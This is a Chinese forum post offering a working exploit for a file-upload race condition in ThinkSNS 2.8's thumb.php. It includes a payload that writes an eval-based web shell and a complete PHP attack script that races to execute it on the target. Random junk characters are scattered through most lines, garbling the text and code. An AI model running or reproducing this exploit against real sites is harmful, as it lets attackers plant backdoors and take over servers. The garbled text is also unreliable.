找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本  ^1 T1 o. }7 Z' D+ j
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
( S. H( @, g# X" d/ K. Z/ Z8 x漏洞文件" {, U  W/ W' d( N! @& }+ G- H
存在漏洞的文件为:thumb.php) U' [) D& j, c% s$ ~/ v: v
作者:韦鲲鹏
" l$ S: I+ _$ P2 g0 Y# ^" ]1、        准备如下PHP文件并上传到服务器(自己的)。
% l0 ^8 n! S2 Y8 c. f文件内容如下:7 C( A2 x, X! ?+ E& y. Q- t
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>: C' a5 g3 y/ t. M$ f
2、        计算出临时的文件名:- n, Q( {3 _$ B9 x1 A* `
这里我们可以看文件的99行(刚刚是不是没注意呀!)。# @, ~! Y# H' P) d# [

* p0 s! ~8 M9 Z2 G+ Z3、        上传临时文件。
) p5 b/ h! A5 B1 q+ [$ C1 V4、        访问临时文件。/ }' `# Y" a. B  Q+ z( C" f
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* [- m% P/ V/ n: G/ d
Exploit文件内容如下:(这个我就不详细解释了); r, F$ O! g# {, v% {/ A0 `$ L7 V
<?php
' `/ G( r2 F0 i1 verror_reporting(0);: Z( E% g+ |0 b- v$ L  O, H
set_time_limit(0);
* J2 k, K4 J" Z  wini_set(“default_socket_timeout”, 5);2 ~; F  O; |) X4 e
function http_send($host, $port, $headers) {
# D8 a* y! t" w9 G; @6 R$fp = fsockopen($host, $port);
  m, v, l3 x; G3 ^6 Lif (!$fp) die(‘Connection -> fail’);. j+ m# D9 N# q8 j/ U
fputs($fp, $headers);! f+ x) \. x/ }$ `3 z4 ?
return $fp;
  e4 B1 f( n  y}& b; `$ p6 R1 A3 A' \# l! Z
function http_recv($fp) {
+ t6 R0 w5 [" x5 I8 k. L: ?$ret=”";
- e* L9 D0 D: J: S9 c; {/ }while (!feof($fp))
, ^3 I) ^- p- c- H4 R$ret.= fgets($fp, 1024);" x; w: c0 R. K( x9 M3 \
fclose($fp);4 O) Y3 z' M" G6 Q7 J5 i! M1 O
return $ret;' n2 o- E; v7 x# V, R$ n
}
0 P$ u, `; ^1 k& B' hprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
) `& j8 h! A+ A7 U- ^print “# Discovered by 韦鲲鹏 #\n\n”;4 F! N' m( q$ J( z+ C
if ($argc < 4) {% H0 c5 R% n3 K+ ?! L* y
print “Usage:   php <host> <path> <romote_url>\n”;
/ m$ d3 w) Q* ]2 A; o2 |9 g; gprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;9 x, a& @  i8 r; J- ~
die();! x# n( Q) a5 m" u  F' J( t% C3 u
}$ k9 \; q/ D& C4 Z; R
$host = $argv[1];
' w5 w$ u' z+ Y$path = $argv[2];
0 w5 j& j/ L; b0 u  n+ M9 x$url = $argv[3];
( q3 J, ^" M* L; x' o% u, [' S$i=0;- N* Y1 ?* K5 `  ]
//上传数据包
8 g) F9 q8 J& Y, n5 b7 @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
3 l9 G5 Y9 g- r) Y4 g5 s$headers_up .= “Host: “.$host.”\r\n”;
4 T+ K0 J* z  a; n2 L$headers_up .= “Connection: close\r\n\r\n”;1 Q7 n! M3 X0 [( M; n
echo $headers_up;
7 s) k  h7 W& V0 J+ k: z! M//临时文件访问数据包
& m4 C* O* E) P3 W5 H9 ~1 f$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
0 r# f1 ~- Y' \9 N$headers .= “Host: “.$host.”\r\n”;
' Q! t& |- ?- T6 E8 k9 n$headers .= “Connection: close\r\n\r\n”;1 [. A9 W$ g4 M. Q' [9 `
echo $headers;3 M/ {  C3 y, W( o# R
while(++$i<10) {: d  h% E% f7 q4 a
fclose(http_send($host, 80, $headers));4 z2 c. H0 L" V! e; ~  y
}
8 c( g2 q+ p2 V# A- yfclose(http_send($host, 80, $headers_up));
- y2 x2 E7 @1 e/ w8 @while(++$i<50) {8 v* |. A  {( I# U& W/ E- c9 i
fclose(http_send($host, 80, $headers));
" Z" D+ Y) f. o1 |}
& o; o6 ^' {, S* Y$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;. z5 y5 j+ c8 \; _. {1 K
$headers .= “Host: “.$host.”\r\n”;: S  N. F9 E& }6 b" Z/ \5 \
$headers .= “Connection: close\r\n\r\n”;
6 n. n( K2 ~% c6 [$res=http_recv(http_send($host, 80, $headers));
. J- K6 v1 W% ]3 u# rif(preg_match(‘/200 OK/’,$res)) {/ f" b/ c- l$ y4 [( C
print “Success!\n\n”;
) u1 _1 r% E/ [, ?+ q} else {
$ X9 s. B) C2 E  ?$ `, a+ Rprint “Fail!\n\n”;
8 O$ u8 }8 ^+ i}+ ?! ~7 e0 x% ?% S9 P4 M; z# C/ ^
?>. V3 Y0 ~4 A  M3 p9 `3 K
​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表